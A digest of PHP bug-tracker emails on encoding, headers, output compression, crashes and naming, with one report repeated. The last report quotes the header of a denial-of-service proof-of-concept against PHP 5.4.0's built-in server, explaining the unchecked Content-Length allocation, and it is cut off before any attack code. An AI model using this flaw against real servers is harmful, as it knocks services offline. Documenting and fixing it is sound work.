Req #65323 [Fbk]: improvement for counting ill-formed byte sequences
Edit report at https://bugs.php.net/bug.php?id=65323&edit=1
ID: 65323
Updated by: cataphr...@php.net
Reported by:masakielastic at gmail dot com
Summary:improvement for counting ill-formed byte sequences
Status: Feedback
Type: Feature/Change Request
Package:Strings related
PHP Version:5.5.1
Assigned To:cataphract
Block user comment: N
Private report: N
New Comment:
Unfortunately, it's also significantly slower... I have to look more closely.
Previous Comments:
[2013-07-31 23:00:34] cataphr...@php.net
Can you test this branch?
https://github.com/cataphract/php-src/compare/bug65323
I basically rewrote the parser; it was getting too complicated.
[2013-07-26 00:43:34] yohg...@php.net
Thank you for the report.
This seems good.
We are also discussing about mb_scrub() as mb_convert_encoding() alias. i.e.
calling converter internally like mb_convert_encoding().
On master branch mbfl converter fix has been committed.
We appreciate if you could check the current implementation.
[2013-07-24 11:20:38] masakielastic at gmail dot com
Table 3-8. Use of U+FFFD in UTF-8 Conversion" of The Unicode Standard
http://www.unicode.org/versions/Unicode6.2.0/ch03.pdf
[2013-07-24 10:59:34] masakielastic at gmail dot com
Description:
Consider the number of substitute characters (U+FFFD)
when the range of UTF-8 string of second byte is narrow (such as 0xA0 - 0xBF)
// Code Points First Byte Second Byte Third Byte Fourth Byte
// U+0800 - U+0FFF E0 A0 - BF 80 - BF
// U+D000 - U+D7FF ED 80 - 9F 80 - BF
// U+1 - U+3 F0 90 - BF 80 - BF80 - BF
// U+10 - U+10 F4 80 - 8F 80 - BF80 - BF
If you follow the recommended policy describled in "Table 3-8. Use of U+FFFD in
UTF-8 Conversion" of The Unicode Standard,
"\xE0\x80" should be converted to "\xEF\xBF\xBD"."\xEF\xBF\xBD".
The actual result is "\xEF\xBF\xBD".
The one of solution for that purpose is introducing a macro that checks second
byte by first byte.
https://github.com/masakielastic/patches/blob/master/php_htmlspecialchars/html.p
atch
https://github.com/masakielastic/patches/blob/master/php_htmlspecialchars/test.p
hp
Test script:
---
// https://bugs.php.net/bug.php?id=65081
function str_scrub($str)
{
return htmlspecialchars_decode(htmlspecialchars($str, ENT_SUBSTITUTE,
'UTF-8'));
}
$ufffd_x2 = "\xEF\xBF\xBD"."\xEF\xBF\xBD";
$ufffd_x3 = $ufffd_x2."\xEF\xBF\xBD";
var_dump(
$ufffd_x2 === str_scrub("\xE0\x80"),
$ufffd_x3 === str_scrub("\xE0\x80\x80")
);
Expected result:
bool(true)
bool(true)
Actual result:
--
bool(false)
bool(false)
--
Edit this bug report at https://bugs.php.net/bug.php?id=65323&edit=1
Bug #65359 [Asn]: Unknown: Skipping numeric key 1 in Unknown on line 0
Edit report at https://bugs.php.net/bug.php?id=65359&edit=1 ID: 65359 Updated by: yohg...@php.net Reported by:spam2 at rhsoft dot net Summary:Unknown: Skipping numeric key 1 in Unknown on line 0 Status: Assigned Type: Bug Package:Session related PHP Version:5.4.17 Assigned To:yohgaki Block user comment: N Private report: N New Comment: I have plan to clean up encoding setting mess also. I can understand your irritation :) Anyway, if you are managing hundreds of domains, you should participate testing new minor version release process. Speak out what is going to be your problem to internals ML. Previous Comments: [2013-07-31 06:32:45] spam2 at rhsoft dot net well, i see this first time after we upgraded to PHP 5.4 where no longer register_globals is available while we disabled it 10 years ago which took a lot of time prepare because the braindead change in htmlentities() return empty strings without any warnings if ISO-8859-1 is used and not explicit set as param (thanks again for such lowbrained backward compatibility break without a global setting to fix it) and yes we have watchdogs mailing twice a hour any php-warning and E_ALL in production since years. [2013-07-31 06:12:24] yohg...@php.net This error is raised at R_SHUTDOWN (Request Shutdown) that is all script execution is *finished*. Therefore, there is no way to know which script caused this. Current session module uses special serializer that do not accept numeric key. e.g. $_SESSION[1] = 'foo'; This limitation is came from register_globals. I think it's safe that remove this limitation, but I have to look code again. I also have plan to use plain serializer for session. [2013-07-30 20:02:27] spam2 at rhsoft dot net uhm at least the full path of the invoked script should be known hence it would be even better if it only says the folder but wild guessing on a server with 600 domains? "so there's no active script anymore" but someone / something invoked a script in which context whatever code runs [2013-07-30 12:12:55] johan...@php.net This error happens while encoding the session after request end, so there's no active script anymore. Not sure we can make it more verbose. [2013-07-30 11:35:52] spam2 at rhsoft dot net Description: PHP Notice: Unknown: Skipping numeric key 1 in Unknown on line 0 it is ridiculous that PHP is thowing warnings and does not know at least the realpath of the executed script to choose one of the 600 possible involved vhosts -- Edit this bug report at https://bugs.php.net/bug.php?id=65359&edit=1
Req #65081 [Opn]: new function for replacing ill-formd byte sequences with substitute characters
Edit report at https://bugs.php.net/bug.php?id=65081&edit=1
ID: 65081
Updated by: yohg...@php.net
Reported by:masakielastic at gmail dot com
Summary:new function for replacing ill-formd byte sequences
with substitute characters
Status: Open
Type: Feature/Change Request
Package:mbstring related
Operating System: All
PHP Version:5.5.0
-Assigned To:
+Assigned To:yohgaki
Block user comment: N
Private report: N
New Comment:
Assigned to me, so that this report not be forgotten.
Previous Comments:
[2013-06-22 14:02:28] a...@php.net
related to bug #65045 .
[2013-06-21 03:20:55] masakielastic at gmail dot com
Description:
New function for replacing ill-formd byte sequences with substitute characters
is needed. The problem using mb_convert_encoding for that purpose is that the
function name doesn't represent the intent.Specfying same encoding twice is
verbose and can be interpreted as meaningless conversion for the beginners.
$str = mb_convert_encoding($str, 'UTF-8', 'UTF-8');
The case study can be seen in Ruby. Ruby 2.1 introduces String#scrub.
http://bugs.ruby-lang.org/issues/6752
https://github.com/ruby/ruby/blob/1e8a05c1dfee94db9b6b825097e1d192ad32930a/strin
g.c#L7770-L7783
The debate whether the substitute character can be specified or not is needed.
function mb_scrub($str, $encoding = '', $substitute = '')
{
if ('' === $encoding) {
$encoding = mb_internal_encoding();
}
if ('' === $substutute) {
$ret = mb_convert_encoding($str, $encoding, $encoding);
} else {
$before_substitute = mb_substitute_character();
mb_substitute_character($substitute);
$ret = mb_convert_encoding($str, $encoding, $encoding);
mb_substitute_character($before_substitute);
}
return $ret;
}
This discussion can be applied to Uconverter.
function uconverter_scrub($str, $encoding, $opts = '')
{
if ('' === $opts) {
return UConverter::transcode($str, $encoding, $encoding, $opts);
} else {
return UConverter::transcode($str, $encoding, $encoding);
}
}
The discussion for standard string functions and filter functions may be needed
since htmlspecialchars can be used for that purpose.
function str_scrub($str, $encoding = 'UTF-8')
{
return htmlspecialchars_decode(htmlspecialchars($str, ENT_SUBSTITUTE,
$encoding));
}
--
Edit this bug report at https://bugs.php.net/bug.php?id=65081&edit=1
[PHP-BUG] Bug #65371 [NEW]: strftime() returns insufficient string
From: kenji dot uui at gmail dot com
Operating system: Windows
PHP version: 5.5.1
Package: Date/time related
Bug Type: Bug
Bug description:strftime() returns insufficient string
Description:
strftime() breaks UTF-8 Japanese characters.
It worked fine in PHP 5.4.
Test script:
---
';
echo strftime($str), '';
echo bin2hex($str), '';
echo bin2hex(strftime($str)), '';
}
setlocale(LC_ALL, 'C');
p('ã');
Expected result:
ã
ã
e38182
e38182
Actual result:
--
ã
ãE
e38182
e3818145
--
Edit bug report at https://bugs.php.net/bug.php?id=65371&edit=1
--
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=65371&r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=65371&r=trysnapshot53
Try a snapshot (trunk):
https://bugs.php.net/fix.php?id=65371&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=65371&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=65371&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=65371&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=65371&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=65371&r=oldversion
Not developer issue:https://bugs.php.net/fix.php?id=65371&r=support
Expected behavior: https://bugs.php.net/fix.php?id=65371&r=notwrong
Not enough info:
https://bugs.php.net/fix.php?id=65371&r=notenoughinfo
Submitted twice:
https://bugs.php.net/fix.php?id=65371&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=65371&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=65371&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=65371&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=65371&r=isapi
Install GNU Sed:https://bugs.php.net/fix.php?id=65371&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=65371&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=65371&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=65371&r=mysqlcfg
Req #23222 [Opn->Wfx]: Allow controlling header flushing with output buffering
Edit report at https://bugs.php.net/bug.php?id=23222&edit=1
ID: 23222
Updated by: m...@php.net
Reported by:nospam at -internet dot com
Summary:Allow controlling header flushing with output
buffering
-Status: Open
+Status: Wont fix
Type: Feature/Change Request
Package:Zlib related
Operating System: *
PHP Version:*
-Assigned To:
+Assigned To:mike
Block user comment: N
Private report: N
Previous Comments:
[2003-04-15 20:10:25] il...@php.net
As previously indicated by ed...@php.net this is not a bug, but rather a
feature resultant from automatic output buffering when compression is enabled.
Therefor the bug status is being changed accordingly.
[2003-04-15 09:28:31] nospam at -internet dot com
I could see how that could be considered a "feature" to some, but for the
reasons I've already stated I see it only as an unwanted and undesirable side
effect.
I request that another feature be added that allows one to override this
default behavior, i.e.:
zlib.output_compression = On
zlib.header_flush = On
which would cause the output buffer to flush immediately before each header()
is executed.
Thanks...
[2003-04-15 06:05:24] ed...@php.net
This is not a bug, but a feature of PHP's output buffering. Whenever you have
any sort of output buffering enabled header() function will work until the
buffers are flushed to the output.
[2003-04-15 03:13:47] nospam at -internet dot com
Consider the following code:
If zlib.output_compression is off, this will cause 4095 "x"s to display,
properly followed by an error on the header line.
If zlib.output_compression is on, however, the echo line will execute - but
nothing is output immediately because it fails to fill the compression buffer -
so the header line goes ahead and executes and redirects successfully,
completely spurning the output.
Granted, nobody would use this particular example in a real world application -
I just set it up to illustrate the problem. I have run into real situations,
though, where I'm doing diagnostics or inadvertently cause an error on code
lines that logically precede a header("Location:... call. This problem prevents
my diagnistic or error messages from showing up. Consider:
--
Edit this bug report at https://bugs.php.net/bug.php?id=23222&edit=1
Bug #52272 [Opn->Csd]: header() replace param works strange
Edit report at https://bugs.php.net/bug.php?id=52272&edit=1 ID: 52272 Updated by: m...@php.net Reported by:saprykin dot dmitry at gmail dot com Summary:header() replace param works strange -Status: Open +Status: Closed Type: Bug Package:Output Control Operating System: Linux PHP Version:Irrelevant -Assigned To: +Assigned To:mike Block user comment: N Private report: N New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php Previous Comments: [2011-06-06 13:56:47] kentaro at ranvis dot com The second parameter 'replace' for header() function only replaces the first header found in FIFO manner, retaining all the remaining headers. cf. main/SAPI.c calling zend_llist_del_element() in Zend/zend_llist.c (looked 5.3 branch and trunk) Test script: --- X-Powered-By: PHP/5.3.6 [1] => X-Foo: 1 [2] => X-Foo: 2 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 3 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 3 [2] => X-Foo: 4 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 5 ) Actual result: -- Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 1 [2] => X-Foo: 2 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 2 [2] => X-Foo: 3 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 2 [2] => X-Foo: 3 [3] => X-Foo: 4 ) Array ( [0] => X-Powered-By: PHP/5.3.6 [1] => X-Foo: 3 [2] => X-Foo: 4 [3] => X-Foo: 5 ) [2010-07-07 12:12:34] saprykin dot dmitry at gmail dot com Description: 1) Output m headers with the same name using header($header, false) 2) Output n (n > m) headers with the same name using header($header, true) Result) headers will not be replaced totally. Script will send to output m last headers sent by header($header, true). Test script: --- Expected result: Array ( [0] => Set-Cookie: name5=; path=/; domain=.simple.ru ) Actual result: -- Array ( [0] => Set-Cookie: name4=; path=/; domain=.simple.ru [1] => Set-Cookie: name5=; path=/; domain=.simple.ru ) -- Edit this bug report at https://bugs.php.net/bug.php?id=52272&edit=1
Bug #44164 [Asn]: Handle "Content-Length" HTTP header when zlib.output_compression active
Edit report at https://bugs.php.net/bug.php?id=44164&edit=1 ID: 44164 Updated by: m...@php.net Reported by:mplomer at gmx dot de Summary:Handle "Content-Length" HTTP header when zlib.output_compression active Status: Assigned Type: Bug Package:*General Issues Operating System: * PHP Version:5.2.5 Assigned To:cataphract Block user comment: N Private report: N New Comment: Why is this open, despite the patch being still applied to SAPI.c? Previous Comments: [2012-02-16 10:00:14] daniel at code-emitter dot com FYI: This issue is still causing problems. http://tracker.phpbb.com/browse/PHPBB3-10648 [2010-12-17 19:18:15] panczel dot levente at groware dot hu Thanks, you are absolutely right pointing at my error: my suggestion would not work in situations where a Content-Length header was mandatory or referenced uncompressed body length. The partial response 206, as I understand, doesnât make Content-Length mandatory. In fact the last line might be omitted from your example and that is still a valid response. But since Content-Length is not mandatory in this case either, I think my thesis still works. I have not found any explicit remarks in the specification on how offsets and Content-Encoding should interact. As I see now all fields are about the document-entity (the one that the script handles and knows well) except for Content-Encoding and Content-Length fields which are about the representation of the message body. So Content-Length always shows the decimal number of octets transferred in the message bodyâs final byte-stream, and Content-Encoding has to be reversed before other processing (like matching it to the requested rangeâs size) takes place. For all response types where Content-Length is mandatory, I agree with you, that compression should be turned off (possibly after trying to fit in the initial 1 buffer that I think is allocated anyways). But we know that in case of response 200 it is not mandatory, and as I see, for 206 neither. So at least these responses could follow my thesis (and any others currently do not require a Content-Length field). > The problem is the zlib.output_compression is not presented as an output > handler that rewrites the response and creates a new entity. It is presented > as an inoffensive performance option that compresses the output for better > performance. Yes, it rewrites the response; but no, it does not create a new entity. I think thatâs just what http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11 references by âwithout losing the identity of its underlying media typeâ. So to send a compressed body, one just has to adjust the Content-Encoding field and take care that Content-Length is not invalid. I feel that changing these headers isnât more intrusive than altering body octets, since they do not affect other content and headers in the message, except for Transfer-Encoding which I suppose that zlib compression correctly adjusts to. I think chunked Transfer-Encoding is relevant for two reasons. If received from the script, it has to be assembled before compression. And it might be used to maintain persistent connections (e.g. 1 compressed buffer in each chunk) where compression was not able to tell the Content-Length in advance. Please understand that Iâm not pushing for any of these features, just think that this topic still has potential for inspiring improvement and finding rare bugs. [2010-12-17 16:35:30] cataphr...@php.net > Thatâs an error. Both scripts set the correct CL (that they know very well), > just the way the specification says they SHOULD. I donât agree that it would > be the responsibility of the script to counteract the setting (zlib output > compression in this case) of the executing framework (PHP in this case). If > the scripts should take care for every such situation then using the header() > would be completely illegal, because a future output handler might interact > with the output in such a way that invalidates the headers set. This isnât a > portable phylosophy since it implicitly requires the script being aware of > every aspects of plugins and settings in PHP. > In fact it is the zlib output handler that was setting the wrong CL header (by > not removing the deprecated one). As I see, the handler is constructing a new > response entity instead the one it receives from the script; the consistency > of > this response is entirely the responsibility of the handler. As I understand > this has now been patched so that the handler always removes the CL header, > and > by that it assures correctness. Note: her
Bug #44164 [Asn]: Handle "Content-Length" HTTP header when zlib.output_compression active
Edit report at https://bugs.php.net/bug.php?id=44164&edit=1 ID: 44164 Updated by: m...@php.net Reported by:mplomer at gmx dot de Summary:Handle "Content-Length" HTTP header when zlib.output_compression active Status: Assigned Type: Bug Package:*General Issues Operating System: * PHP Version:5.2.5 Assigned To:cataphract Block user comment: N Private report: N New Comment: https://github.com/php/php-src/pull/400 Previous Comments: [2013-08-01 14:19:34] m...@php.net Why is this open, despite the patch being still applied to SAPI.c? [2012-02-16 10:00:14] daniel at code-emitter dot com FYI: This issue is still causing problems. http://tracker.phpbb.com/browse/PHPBB3-10648 [2010-12-17 19:18:15] panczel dot levente at groware dot hu Thanks, you are absolutely right pointing at my error: my suggestion would not work in situations where a Content-Length header was mandatory or referenced uncompressed body length. The partial response 206, as I understand, doesnât make Content-Length mandatory. In fact the last line might be omitted from your example and that is still a valid response. But since Content-Length is not mandatory in this case either, I think my thesis still works. I have not found any explicit remarks in the specification on how offsets and Content-Encoding should interact. As I see now all fields are about the document-entity (the one that the script handles and knows well) except for Content-Encoding and Content-Length fields which are about the representation of the message body. So Content-Length always shows the decimal number of octets transferred in the message bodyâs final byte-stream, and Content-Encoding has to be reversed before other processing (like matching it to the requested rangeâs size) takes place. For all response types where Content-Length is mandatory, I agree with you, that compression should be turned off (possibly after trying to fit in the initial 1 buffer that I think is allocated anyways). But we know that in case of response 200 it is not mandatory, and as I see, for 206 neither. So at least these responses could follow my thesis (and any others currently do not require a Content-Length field). > The problem is the zlib.output_compression is not presented as an output > handler that rewrites the response and creates a new entity. It is presented > as an inoffensive performance option that compresses the output for better > performance. Yes, it rewrites the response; but no, it does not create a new entity. I think thatâs just what http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11 references by âwithout losing the identity of its underlying media typeâ. So to send a compressed body, one just has to adjust the Content-Encoding field and take care that Content-Length is not invalid. I feel that changing these headers isnât more intrusive than altering body octets, since they do not affect other content and headers in the message, except for Transfer-Encoding which I suppose that zlib compression correctly adjusts to. I think chunked Transfer-Encoding is relevant for two reasons. If received from the script, it has to be assembled before compression. And it might be used to maintain persistent connections (e.g. 1 compressed buffer in each chunk) where compression was not able to tell the Content-Length in advance. Please understand that Iâm not pushing for any of these features, just think that this topic still has potential for inspiring improvement and finding rare bugs. [2010-12-17 16:35:30] cataphr...@php.net > Thatâs an error. Both scripts set the correct CL (that they know very well), > just the way the specification says they SHOULD. I donât agree that it would > be the responsibility of the script to counteract the setting (zlib output > compression in this case) of the executing framework (PHP in this case). If > the scripts should take care for every such situation then using the header() > would be completely illegal, because a future output handler might interact > with the output in such a way that invalidates the headers set. This isnât a > portable phylosophy since it implicitly requires the script being aware of > every aspects of plugins and settings in PHP. > In fact it is the zlib output handler that was setting the wrong CL header (by > not removing the deprecated one). As I see, the handler is constructing a new > response entity instead the one it receives from the script; the consistency > of > this response is entirely the responsibility of the han
[PHP-BUG] Bug #65372 [NEW]: Segfault in gc_zval_possible_root
From: sreed at ontraport dot com Operating system: Fedora PHP version: 5.4Git-2013-08-01 (Git) Package: Reproducible crash Bug Type: Bug Bug description:Segfault in gc_zval_possible_root Description: PHP is segfaulting during shutdown in gc_zval_possible_root. This bug appears to have appeared in version 5.4: http://3v4l.org/qLqe3. Test script: --- https://gist.github.com/sreed-ontraport/6134324 Expected result: Script executes and PHP exits cleanly Actual result: -- 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4- 201308011830/Zend/zend_gc.c:143 143 GC_ZOBJ_CHECK_POSSIBLE_ROOT(zv); (gdb) bt #0 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4-201308011830/Zend/zend_gc.c:143 #1 0x006a1c47 in zend_object_std_dtor (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:54 #2 0x006a1c79 in zend_objects_free_object_storage (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:137 #3 0x006a74c8 in zend_objects_store_free_object_storage (objects=0xd8a0a0 ) at /tmp/php5.4- 201308011830/Zend/zend_objects_API.c:92 #4 0x0067396b in shutdown_executor () at /tmp/php5.4- 201308011830/Zend/zend_execute_API.c:295 #5 0x00681aa6 in zend_deactivate () at /tmp/php5.4- 201308011830/Zend/zend.c:938 #6 0x0062417d in php_request_shutdown (dummy=dummy@entry=0x0) at /tmp/php5.4-201308011830/main/main.c:1803 #7 0x00726094 in do_cli (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1172 #8 0x004255ca in main (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1365 -- Edit bug report at https://bugs.php.net/bug.php?id=65372&edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=65372&r=trysnapshot54 Try a snapshot (PHP 5.3): https://bugs.php.net/fix.php?id=65372&r=trysnapshot53 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=65372&r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=65372&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=65372&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=65372&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=65372&r=needscript Try newer version: https://bugs.php.net/fix.php?id=65372&r=oldversion Not developer issue:https://bugs.php.net/fix.php?id=65372&r=support Expected behavior: https://bugs.php.net/fix.php?id=65372&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=65372&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=65372&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=65372&r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=65372&r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=65372&r=dst IIS Stability: https://bugs.php.net/fix.php?id=65372&r=isapi Install GNU Sed:https://bugs.php.net/fix.php?id=65372&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=65372&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=65372&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=65372&r=mysqlcfg
Bug #44164 [Asn->Csd]: Handle "Content-Length" HTTP header when zlib.output_compression active
Edit report at https://bugs.php.net/bug.php?id=44164&edit=1 ID: 44164 Updated by: cataphr...@php.net Reported by:mplomer at gmx dot de Summary:Handle "Content-Length" HTTP header when zlib.output_compression active -Status: Assigned +Status: Closed Type: Bug Package:*General Issues Operating System: * PHP Version:5.2.5 Assigned To:cataphract Block user comment: N Private report: N Previous Comments: [2013-08-01 14:51:09] m...@php.net https://github.com/php/php-src/pull/400 [2013-08-01 14:19:34] m...@php.net Why is this open, despite the patch being still applied to SAPI.c? [2012-02-16 10:00:14] daniel at code-emitter dot com FYI: This issue is still causing problems. http://tracker.phpbb.com/browse/PHPBB3-10648 [2010-12-17 19:18:15] panczel dot levente at groware dot hu Thanks, you are absolutely right pointing at my error: my suggestion would not work in situations where a Content-Length header was mandatory or referenced uncompressed body length. The partial response 206, as I understand, doesnât make Content-Length mandatory. In fact the last line might be omitted from your example and that is still a valid response. But since Content-Length is not mandatory in this case either, I think my thesis still works. I have not found any explicit remarks in the specification on how offsets and Content-Encoding should interact. As I see now all fields are about the document-entity (the one that the script handles and knows well) except for Content-Encoding and Content-Length fields which are about the representation of the message body. So Content-Length always shows the decimal number of octets transferred in the message bodyâs final byte-stream, and Content-Encoding has to be reversed before other processing (like matching it to the requested rangeâs size) takes place. For all response types where Content-Length is mandatory, I agree with you, that compression should be turned off (possibly after trying to fit in the initial 1 buffer that I think is allocated anyways). But we know that in case of response 200 it is not mandatory, and as I see, for 206 neither. So at least these responses could follow my thesis (and any others currently do not require a Content-Length field). > The problem is the zlib.output_compression is not presented as an output > handler that rewrites the response and creates a new entity. It is presented > as an inoffensive performance option that compresses the output for better > performance. Yes, it rewrites the response; but no, it does not create a new entity. I think thatâs just what http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11 references by âwithout losing the identity of its underlying media typeâ. So to send a compressed body, one just has to adjust the Content-Encoding field and take care that Content-Length is not invalid. I feel that changing these headers isnât more intrusive than altering body octets, since they do not affect other content and headers in the message, except for Transfer-Encoding which I suppose that zlib compression correctly adjusts to. I think chunked Transfer-Encoding is relevant for two reasons. If received from the script, it has to be assembled before compression. And it might be used to maintain persistent connections (e.g. 1 compressed buffer in each chunk) where compression was not able to tell the Content-Length in advance. Please understand that Iâm not pushing for any of these features, just think that this topic still has potential for inspiring improvement and finding rare bugs. [2010-12-17 16:35:30] cataphr...@php.net > Thatâs an error. Both scripts set the correct CL (that they know very well), > just the way the specification says they SHOULD. I donât agree that it would > be the responsibility of the script to counteract the setting (zlib output > compression in this case) of the executing framework (PHP in this case). If > the scripts should take care for every such situation then using the header() > would be completely illegal, because a future output handler might interact > with the output in such a way that invalidates the headers set. This isnât a > portable phylosophy since it implicitly requires the script being aware of > every aspects of plugins and settings in PHP. > In fact it is the zlib output handler that was setting the wrong CL header (by > not removing the deprecated one). As I see, the handler is constructing a new > response en
Bug #51380 [Com]: The function returns one byte less
Edit report at https://bugs.php.net/bug.php?id=51380&edit=1 ID: 51380 Comment by: deomandeo at gmail dot com Reported by:jatubio at gmail dot com Summary:The function returns one byte less Status: Not a bug Type: Bug Package:Filesystem function related Operating System: Windows 2003 Server (IIS 6.0) PHP Version:5.3.2 Block user comment: N Private report: N New Comment: Hi, I'm having the same issue... What was the problem? I solved it adding 1 byte... I don't know why this happens... Previous Comments: [2010-03-24 14:35:13] jatubio at gmail dot com I was one error in my code not in the function. I was one mistake, sorry [2010-03-24 14:34:00] jatubio at gmail dot com I have checked now and I apologize because the problem was in my code and not in function. I'm sorry, I'll try better next time around before writing a bug. Sorry again. [2010-03-24 13:37:39] paj...@php.net Can't reproduce it. Tested on 1000 files in various paths and filesystems. And it is pretty obvious as we only return the value given by the windows API. What do you use for this "bytes returned", which may not be the actual file size. [2010-03-24 13:11:41] jatubio at gmail dot com Description: The function returns one byte less than file size. For example, a file with a size of 4,268,766 bytes, 4,268,765 bytes returned. Data: System Windows NT 5.2 build 3790 (Windows Server 2003 Standard Edition Service Pack 2) i586 Build Date Mar 3 2010 20:44:33 CompilerMSVC9 (Visual C++ 2008) Architecturex86 Server API CGI/FastCGI Test script: --- $file_size = filesize($path);// returns one byte less. $file_size = filesize($path)+1;// I need to do this!! -- Edit this bug report at https://bugs.php.net/bug.php?id=51380&edit=1
Bug #52424 [Com]: Function naming inconsistency: htmlentities() x html_entity_decode()
Edit report at https://bugs.php.net/bug.php?id=52424&edit=1 ID: 52424 Comment by: duke at ejoom dot com Reported by:php-bugs at majkl578 dot cz Summary:Function naming inconsistency: htmlentities() x html_entity_decode() Status: Wont fix Type: Bug Package:Unknown/Other Function PHP Version:5.3.3 Block user comment: N Private report: N New Comment: I agree for consistency. I've develop at PHP over 7 years and It's annoying that some time I should look up the proper function name or order (when editing without IDE). By semver 2.0 we can do PHP ver. 6.0 with BC. So there projects can exist at 5.x. There is huge frameworks like Symphony and Zend Framework, Drupal and Joomla that was rewritten almost from scratch to utilize new features and architecture. So GIVE people to choose which consistency to use CURRENT or NEW. After a one-two years It will appear needs for it or contraries. Previous Comments: [2013-06-28 19:28:30] thatthatisisthatthatisnotisnot at gmail dot com +1 for fixing naming conventions. It would be REALLY easy for most developers to refactor. The only exception being those who created their own functions with names that would be used by php core functions. That is if something was coreFunction() and the user created core_function(/*some custom function with almost the same name*/) and the new release changed to underscores. It would be a burden on hosting companies to not break their users' software via an upgrade though. Someone with an old application and no one maintaining it could be in trouble if their host upgraded. [2013-01-25 13:23:00] martin dot keckeis1 at gmail dot com +1 to make function name and parameters order more consistent! [2013-01-24 16:43:46] turneliusz at gmail dot com I think we should keep current look and feel of this low level part of PHP, functions. I don't believe PSR have anything to do with that naming conventions. It could end up with some huge proposal about moving functions to some namespaces which would be huge change. I think it's just simple renaming we have to do. A real proposal about revolution in functions could be IMO autoboxing but this is another topic. And BTW that idea about providing switches in php.int could make huge mess. Let's deprecate and in major release remove, no incompatibility with same versions of PHP due to some magic [2013-01-24 15:54:58] chris at cgsmith dot net It seems silly for any developer to change certain function names even though it is something in the back of there head. It comes down to, "if it isn't broke, why fix it?". But for a community this large and people that are trying out PHP and learning best practices, this needs to be done. However, there needs to be a vote on the naming conventions that are used. Perhaps following PSR-1 or PSR-2. [2013-01-24 14:03:43] turneliusz at gmail dot com Excuse me rasmus but WHY NOT? It's completely normal evolution process. Let's deprecated all things that have inconsistent naming in PHP 5.6 to be able to just remove them in PHP 6.0 where breaking compatibility would be possible. It would be just great to have PHP 6.0 as PHP 5.x with consistent function naming convention, with removed all of deprecated stuff. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at https://bugs.php.net/bug.php?id=52424 -- Edit this bug report at https://bugs.php.net/bug.php?id=52424&edit=1
Bug #61509 [Opn->Csd]: In-built webserver denial-of-service
Edit report at https://bugs.php.net/bug.php?id=61509&edit=1
ID: 61509
Updated by: yohg...@php.net
Reported by:paj...@php.net
Summary:In-built webserver denial-of-service
-Status: Open
+Status: Closed
Type: Bug
Package:CGI/CLI related
Operating System: *
PHP Version:5.4.0
-Assigned To:
+Assigned To:yohgaki
Block user comment: N
Private report: N
New Comment:
Current code compare the length of parsed data and ignore as invalid request.
Previous Comments:
[2012-03-27 20:07:55] s...@php.net
Built-in webserver is a development module, I see no reason to classify bugs on
it as security.
[2012-03-27 20:03:57] s...@php.net
For the record, note the comment in the documentation:
"This web server is designed for developmental purposes only, and should not be
used in production."
[2012-03-26 12:37:39] paj...@php.net
Description:
PHP version 5.4.0 built-in web server denial of service proof of concept
exploit.
via http://packetstormsecurity.org/files/63/php540-dos.txt
Test script:
---
#!/usr/bin/python
# Title: PHP 5.4.0 Built-in Web Server DoS PoC
# Date: 16 March 2012
# Author: ls (cont...@kaankivilcim.com)
# Reference: https://bugs.php.net/bug.php?id=61461
# Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV
# The value of the Content-Length header is passed directly to a pemalloc()
call in sapi/cli/php_cli_server.c
# on line 1538. The inline function defined within Zend/zend_alloc.h for
malloc() will fail, and will terminate
# the process with the error message "Out of memory".
#
# 1537 if (!client->request.content) {
# 1538 client->request.content = pemalloc(parser->content_length, 1);
# 1539 client->request.content_len = 0;
# 1540 }
#
# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012
# Listening on 127.0.0.1:80
# Document root is /tmp
# Press Ctrl-C to quit.
# Out of memory
import socket, sys
